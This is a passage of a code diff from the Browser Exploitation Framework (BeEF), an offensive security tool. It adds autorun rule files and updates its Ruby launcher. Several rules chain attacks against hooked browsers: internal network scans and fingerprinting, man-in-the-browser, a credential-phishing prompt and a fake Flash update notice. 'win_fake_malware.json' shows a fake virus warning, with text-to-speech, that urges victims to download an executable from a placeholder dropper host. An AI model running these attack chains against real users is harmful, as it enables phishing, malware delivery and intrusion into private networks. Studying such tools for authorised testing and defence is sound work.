+      "notification_text": "The version of the Adobe Flash plugin is outdated and does not include the latest security updates. Please ignore the missing signature, we at Adobe are working on it. "
+    }
+  }, {
+    "name": "pretty_theft",
+    "condition": null,
+    "options": {
+      "choice": "Windows",
+      "backing": "Grey",
+      "imgsauce": "http://172.16.45.1:3000/ui/media/images/beef.png"
+    }
+  }],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 5000],
+  "chain_mode": "sequential"
+}

arerules/ie_win_test-return-mods.json

@@ -0,0 +1,35 @@
+{
+  "name": "Test return debug stuff",
+  "author": "antisnatchor",
+  "browser": "IE",
+  "browser_version": "<= 8",
+  "os": "Windows",
+  "os_version": ">= XP",
+  "modules": [{
+    "name": "test_return_ascii_chars",
+    "condition": null,
+    "options": {}
+  }, {
+    "name": "test_return_long_string",
+    "condition": "status==1",
+    "code": "var mod_input=test_return_ascii_chars_mod_output + '--CICCIO--';",
+    "options": {
+      "repeat": "10",
+      "repeat_string": "<<mod_input>>"
+    }
+  },
+    {
+      "name": "alert_dialog",
+      "condition": "status=1",
+      "code": "var mod_input=test_return_long_string_mod_output + '--PASTICCIO--';",
+      "options":{"text":"<<mod_input>>"}
+    },
+   {
+    "name": "get_page_html",
+    "condition": null,
+    "options": {}
+  }],
+  "execution_order": [0, 1, 2, 3],
+  "execution_delay": [0, 0, 0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_cors_scan.json

@@ -0,0 +1,28 @@
+{"name": "LAN CORS Scan",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "cross_origin_scanner_cors",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "ipRange":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"2",
+        "wait":"2",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_cors_scan_common.json

@@ -0,0 +1,23 @@
+{"name": "LAN CORS Scan (Common IPs)",
+  "author": "bcoles",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "cross_origin_scanner_cors",
+      "condition": null,
+      "code": null,
+      "options": {
+        "ipRange":"common",
+        "ports":"80,8080",
+        "threads":"2",
+        "wait":"2",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_fingerprint.json

@@ -0,0 +1,28 @@
+{"name": "LAN Fingerprint",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "internal_network_fingerprinting",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "ipRange":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_fingerprint_common.json

@@ -0,0 +1,23 @@
+{"name": "LAN Fingerprint (Common IPs)",
+  "author": "antisnatchor",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "internal_network_fingerprinting",
+      "condition": null,
+      "code": null,
+      "options": {
+        "ipRange":"common",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_flash_scan.json

@@ -0,0 +1,27 @@
+{"name": "LAN Flash Scan",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "cross_origin_scanner_flash",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "ipRange":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"2",
+        "timeout":"5"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_flash_scan_common.json

@@ -0,0 +1,22 @@
+{"name": "LAN Flash Scan (Common IPs)",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "cross_origin_scanner_flash",
+      "condition": null,
+      "code": null,
+      "options": {
+        "ipRange":"common",
+        "ports":"80,8080",
+        "threads":"2",
+        "timeout":"5"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_http_scan.json

@@ -0,0 +1,28 @@
+{"name": "LAN HTTP Scan",
+  "author": "bcoles",
+  "browser": ["FF", "C"],
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "get_http_servers",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "rhosts":"<<mod_input>>",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_http_scan_common.json

@@ -0,0 +1,23 @@
+{"name": "LAN HTTP Scan (Common IPs)",
+  "author": "bcoles",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_http_servers",
+      "condition": null,
+      "code": null,
+      "options": {
+        "rhosts":"common",
+        "ports":"80,8080",
+        "threads":"3",
+        "wait":"5",
+        "timeout":"10"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/lan_ping_sweep.json

@@ -0,0 +1,25 @@
+{"name": "LAN Ping Sweep",
+  "author": "bcoles",
+  "browser": "FF",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "get_internal_ip_webrtc",
+      "condition": null,
+      "code": null,
+      "options": {}
+    },
+    {"name": "ping_sweep",
+      "condition": "status==1",
+      "code": "var s=get_internal_ip_webrtc_mod_output.split('.');var start = s[0]+'.'+s[1]+'.'+s[2]+'.1'; var end = s[0]+'.'+s[1]+'.'+s[2]+'.255'; var mod_input = start+'-'+end;",
+      "options": {
+        "rhosts":"<<mod_input>>",
+        "threads":"3"
+      }
+    }
+  ],
+  "execution_order": [0, 1],
+  "execution_delay": [0, 0],
+  "chain_mode": "nested-forward"
+}

arerules/lan_ping_sweep_common.json

@@ -0,0 +1,20 @@
+{"name": "LAN Ping Sweep (Common IPs)",
+  "author": "bcoles",
+  "browser": "FF",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "ping_sweep",
+      "condition": null,
+      "code": null,
+      "options": {
+        "rhosts":"common",
+        "threads":"3"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/man_in_the_browser.json

@@ -0,0 +1,17 @@
+{"name": "Perform Man-In-The-Browser",
+  "author": "mgeeky",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "man_in_the_browser",
+      "condition": null,
+      "code": null,
+      "options": {}
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/raw_javascript.json

@@ -0,0 +1,19 @@
+{
+  "name": "Raw JavaScript",
+  "author": "wade@bindshell.net",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "raw_javascript",
+      "condition": null,
+      "options": {
+         "cmd": "alert(0xBeEF);"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/record_snapshots.json

@@ -0,0 +1,19 @@
+{"name": "Collects multiple snapshots of the webpage within Same-Origin",
+  "author": "mgeeky",
+  "browser": ["FF", "C", "O", "IE", "S"],
+  "browser_version": "ALL",
+  "os": "ALL",
+  "os_version": "ALL",
+  "modules": [
+    {"name": "spyder_eye",
+      "condition": null,
+      "options": {
+        "repeat":"10",
+        "delay":"3000"
+      }
+    }
+  ],
+  "execution_order": [0],
+  "execution_delay": [0],
+  "chain_mode": "sequential"
+}

arerules/win_fake_malware.json

@@ -0,0 +1,38 @@
+// note: update your dropper URL (dropper.local) in each of the modules below
+{
+  "name": "Windows Fake Malware",
+  "author": "bcoles",
+  "browser": "ALL",
+  "browser_version": "ALL",
+  "os": "Windows",
+  "os_version": "ALL",
+  "modules": [
+    {
+      "name": "blockui",
+      "condition": null,
+      "options": {
+        "message": "<img src='data:image/png;base64,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'/><p>This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer before you do any shopping online. <p><a href='http://dropper.local/malware_removal_tool.exe' onclick='$j.unblockUI();'>Microsoft Malware Removal Toolkit</a></p>",
+        "timeout": "9999"
+      }
+    },
+    {
+      "name": "text_to_voice",
+      "condition": null,
+      "options": {
+        "message": "This is an important security warning. Your system is infected with a virus. It's strongly advised that you run the provided malware removal tool to fix your computer; before you do any shopping online.",
+        "language": "en"
+      }
+    },
+    {
+      "name": "fake_notification_ie",
+      "condition": null,
+      "options": {
+        "url": "http://dropper.local/malware_removal_tool.exe",
+        "notification_text": "SECURITY WARNING: Download the <a href='http://dropper.local/malware_removal_tool.exe' title='Microsoft Malware Removal Toolkit'>Microsoft Malware Removal Toolkit</a> as soon as possible."
+      }
+    }
+  ],
+  "execution_order": [0,1,2],
+  "execution_delay": [0,0,0],
+  "chain_mode": "sequential"
+}

beef

@@ -1,55 +1,87 @@
 #!/usr/bin/env ruby
 
 #
-# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
+# Copyright (c) 2006-2019 Wade Alcorn - wade@bindshell.net
 # Browser Exploitation Framework (BeEF) - http://beefproject.com
 # See the file 'doc/COPYING' for copying permission
 #
 
-# stop deprecation warning from being displayed
+#
+# @note stop Fixnum deprecation warning from being displayed
+#
 $VERBOSE = nil
 
-# @note Version check to ensure BeEF is running Ruby 1.9 >
-if  RUBY_VERSION < '1.9'
-  puts "\n"
-  puts "Ruby version " + RUBY_VERSION + " is no longer supported. Please upgrade 1.9 or later."
-  puts "OSX:"
-  puts "See Readme"
-  puts "\n"
-  exit
+#
+# @note Version check to ensure BeEF is running Ruby 2.4+
+#
+if RUBY_VERSION < '2.4'
+  puts
+  puts "Ruby version #{RUBY_VERSION} is no longer supported. Please upgrade to Ruby version 2.4 or later."
+  puts
+  exit 1
 end
 
-$:.unshift(File.join(File.expand_path(File.dirname(__FILE__)), '.'))
-$root_dir = File.expand_path('..', __FILE__)
-
-# @note Prevent some errors on encoding: encoding handling changed (improved) from 1.8.7 to 1.9.1/2.
-if RUBY_VERSION =~ /1.9/
-  Encoding.default_external = Encoding::UTF_8
-  Encoding.default_internal = Encoding::UTF_8
+#
+# @note Platform check to ensure BeEF is not running on Windows
+#
+if RUBY_PLATFORM.downcase.include?('mswin') || RUBY_PLATFORM.downcase.include?('mingw')
+  puts
+  puts "Ruby platform #{RUBY_PLATFORM} is not supported."
+  puts
+  exit 1
 end
 
-# @note Require core loader's
+#
+# @note set load path, application root directory and user preferences directory
+#
+$root_dir = File.join(File.expand_path(File.dirname(File.realpath(__FILE__))), '.')
+$:.unshift($root_dir)
+$home_dir = File.expand_path("#{Dir.home}/.beef/", __FILE__).freeze
+
+#
+# @note Require core loader
+#
 require 'core/loader'
 
-# @note Initialize the Configuration object. Eventually loads a different config.yaml if -c flag was passed.
+#
+# @note Create ~/.beef/
+#
+begin
+  FileUtils.mkdir_p($home_dir) unless File.directory?($home_dir)
+rescue => e
+  print_error "Could not create '#{$home_dir}': #{e.message}"
+  exit 1
+end
+
+#
+# @note Initialize the Configuration object. Loads a different config.yaml if -c flag was passed.
+#
 if BeEF::Core::Console::CommandLine.parse[:ext_config].empty?
   config = BeEF::Core::Configuration.new("#{$root_dir}/config.yaml")
 else
-  config = BeEF::Core::Configuration.new("#{$root_dir}/#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
+  config = BeEF::Core::Configuration.new("#{BeEF::Core::Console::CommandLine.parse[:ext_config]}")
 end
 
-# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
-require 'core/bootstrap'
+#
+# @note set log level
+#
+BeEF.logger.level = config.get('beef.debug') ? Logger::DEBUG : Logger::WARN
 
-# @note Loads enabled extensions
-BeEF::Extensions.load
-
-# @note Prints the BeEF ascii art if the -a flag was passed
-if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
-  BeEF::Core::Console::Banners.print_ascii_art
+#
+# @note Check the system language settings for UTF-8 compatibility
+#
+env_lang = ENV['LANG']
+if env_lang !~ /(utf8|utf-8)/i
+  print_warning "Warning: System language $LANG '#{env_lang}' does not appear to be UTF-8 compatible."
+  if env_lang =~ /\A([a-z]+_[a-z]+)\./i
+    country = $1
+    print_more "Try: export LANG=#{country}.utf8"
+  end
 end
 
+#
 # @note Check if port and WebSocket port need to be updated from command line parameters
+#
 unless BeEF::Core::Console::CommandLine.parse[:port].empty?
   config.set('beef.http.port', BeEF::Core::Console::CommandLine.parse[:port])
 end
@@ -58,84 +90,143 @@ unless BeEF::Core::Console::CommandLine.parse[:ws_port].empty?
   config.set('beef.http.websocket.port', BeEF::Core::Console::CommandLine.parse[:ws_port])
 end
 
-# @note Prints BeEF welcome message
-BeEF::Core::Console::Banners.print_welcome_msg
-
-# @note Loads enabled modules
-BeEF::Modules.load
-
-# @note Disable reverse dns
-Socket.do_not_reverse_lookup = true
-
-# @note Database setup - use DataMapper::Logger.new($stdout, :debug) for development debugging
-case config.get("beef.database.driver")
-  when "sqlite"
-    DataMapper.setup(:default, "sqlite3://#{$root_dir}/#{config.get("beef.database.db_file")}")
-  when "mysql", "postgres"
-    DataMapper.setup(:default,
-                     :adapter => config.get("beef.database.driver"),
-                     :host => config.get("beef.database.db_host"),
-                     :port => config.get("beef.database.db_port"),
-                     :username => config.get("beef.database.db_user"),
-                     :password => config.get("beef.database.db_passwd"),
-                     :database => config.get("beef.database.db_name"),
-                     :encoding => config.get("beef.database.db_encoding")
-    )
-  else
-    print_error 'No default database selected. Please add one in config.yaml'
+#
+# @note Validate configuration file
+#
+unless BeEF::Core::Configuration.instance.validate
+  exit 1
 end
 
+#
+# @note Exit on default credentials
+#
+if config.get("beef.credentials.user").eql?('beef') && config.get("beef.credentials.passwd").eql?('beef')
+  print_error "ERROR: Default username and password in use!"
+  print_more "Change the beef.credentials.passwd in config.yaml"
+  exit 1
+end
+
+#
+# @note Validate beef.http.public and beef.http.public_port
+#
+unless config.get('beef.http.public').to_s.eql?('') || BeEF::Filters.is_valid_hostname?(config.get('beef.http.public'))
+  print_error "ERROR: Invalid public hostname: #{config.get('beef.http.public')}"
+  exit 1
+end
+
+unless config.get('beef.http.public_port').to_s.eql?('') || BeEF::Filters.is_valid_port?(config.get('beef.http.public_port'))
+  print_error "ERROR: Invalid public port: #{config.get('beef.http.public_port')}"
+  exit 1
+end
+
+#
+# @note After the BeEF core is loaded, bootstrap the rest of the framework internals
+#
+require 'core/bootstrap'
+
+#
+# @note Prints the BeEF ascii art if the -a flag was passed
+#
+if BeEF::Core::Console::CommandLine.parse[:ascii_art] == true
+  BeEF::Core::Console::Banners.print_ascii_art
+end
+
+#
+# @note Prints BeEF welcome message
+#
+BeEF::Core::Console::Banners.print_welcome_msg
+
+#
+# @note Loads enabled extensions
+#
+BeEF::Extensions.load
+
+#
+# @note Loads enabled modules
+#
+BeEF::Modules.load
+
+#
+# @note Disable reverse DNS
+#
+Socket.do_not_reverse_lookup = true
+
+#
+# @note Database setup
+#
+#
+# @note Load the database
+#
+db_file = config.get('beef.database.file')
 # @note Resets the database if the -x flag was passed
 if BeEF::Core::Console::CommandLine.parse[:resetdb]
   print_info 'Resetting the database for BeEF.'
-  DataMapper.auto_migrate!
-else
-  DataMapper.auto_upgrade!
+  File.delete(db_file) if File.exists?(db_file)
+end
+# Connect to DB
+ActiveRecord::Base.logger = nil
+OTR::ActiveRecord.migrations_paths = [File.join('core', 'main', 'ar-migrations')]
+OTR::ActiveRecord.configure_from_hash!(adapter:'sqlite3', database:db_file)
+# Migrate (if required)
+context = ActiveRecord::Migration.new.migration_context
+if context.needs_migration?
+  ActiveRecord::Migrator.new(:up, context.migrations, context.schema_migration).migrate
 end
 
+#
 # @note Extensions may take a moment to load, thus we print out a please wait message
+#
 print_info 'BeEF is loading. Wait a few seconds...'
 
+#
 # @note Execute migration procedure, checks for new modules
+#
 BeEF::Core::Migration.instance.update_db!
 
+#
 # @note Create HTTP Server and prepare it to run
+#
 http_hook_server = BeEF::Core::Server.instance
 http_hook_server.prepare
 
+#
 # @note Prints information back to the user before running the server
+#
 BeEF::Core::Console::Banners.print_loaded_extensions
 BeEF::Core::Console::Banners.print_loaded_modules
 BeEF::Core::Console::Banners.print_network_interfaces_count
 BeEF::Core::Console::Banners.print_network_interfaces_routes
 
-#@note Prints the API key needed to use the RESTful API
+#
+# @note Prints the API key needed to use the RESTful API
+#
 print_info "RESTful API key: #{BeEF::Core::Crypto::api_token}"
 
-#@note Starts the WebSocket server
-if config.get("beef.http.websocket.enable")
-  BeEF::Core::Websocket::Websocket.instance
-  print_info "Starting WebSocket server on port [#{config.get("beef.http.websocket.port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
-  if config.get("beef.http.websocket.secure")
-    print_info "Starting WebSocketSecure server on port [#{config.get("beef.http.websocket.secure_port").to_i}], timer [#{config.get("beef.http.websocket.alive_timer")}]"
-  end
-end
-
+#
+# @note Load the GeoIP database
+#
+BeEF::Core::GeoIp.instance
 
+#
 # @note Call the API method 'pre_http_start'
+#
 BeEF::API::Registrar.instance.fire(BeEF::API::Server, 'pre_http_start', http_hook_server)
 
-# @note Start the HTTP Server, we additionally check whether we load the Console Shell or not
-if config.get("beef.extension.console.shell.enable") == true
-  require 'extensions/console/shell'
-  puts ""
-  begin
-    FileUtils.mkdir_p(File.expand_path(config.get("beef.extension.console.shell.historyfolder")))
-    BeEF::Extension::Console::Shell.new(BeEF::Extension::Console::Shell::DefaultPrompt,
-                                        BeEF::Extension::Console::Shell::DefaultPromptChar, {'config' => config, 'http_hook_server' => http_hook_server}).run
-  rescue Interrupt
-  end
-else
-  print_info 'BeEF server started (press control+c to stop)'
-  http_hook_server.start
+#
+# @note Load any ARE (Autorun Rule Engine) rules scanning the <beef_root>/arerules/enabled directory
+#
+BeEF::Core::AutorunEngine::RuleLoader.instance.load_directory
+
+#
+# @note Start the WebSocket server
+#
+if config.get("beef.http.websocket.enable")
+  BeEF::Core::Websocket::Websocket.instance
+  BeEF::Core::Console::Banners.print_websocket_servers
 end
+
+#
+# @note Start HTTP server
+#
+print_info 'BeEF server started (press control+c to stop)'
+http_hook_server.start

beef_cert.pem

@@ -1,19 +1,24 @@
 -----BEGIN CERTIFICATE-----
-MIIDDjCCAnegAwIBAgIJAKNYRH/AaB3DMA0GCSqGSIb3DQEBBQUAMIGfMQswCQYD
-VQQGEwJBVTEUMBIGA1UECAwLQm92aW5lIExhbmQxDTALBgNVBAcMBEJlRUYxDTAL
-BgNVBAoMBEJlRUYxDTALBgNVBAsMBEJlRUYxJzAlBgNVBAMMHkJyb3dzZXIgRXhw
-bG9pdGF0aW9uIEZyYW1ld29yazEkMCIGCSqGSIb3DQEJARYVQmVFRkBkb250d3Jp
-dGVtZS5CZUVGMB4XDTEyMDgwNjEzMDUzOFoXDTEzMDgwNjEzMDUzOFowgZ8xCzAJ
-BgNVBAYTAkFVMRQwEgYDVQQIDAtCb3ZpbmUgTGFuZDENMAsGA1UEBwwEQmVFRjEN
-MAsGA1UECgwEQmVFRjENMAsGA1UECwwEQmVFRjEnMCUGA1UEAwweQnJvd3NlciBF
-eHBsb2l0YXRpb24gRnJhbWV3b3JrMSQwIgYJKoZIhvcNAQkBFhVCZUVGQGRvbnR3
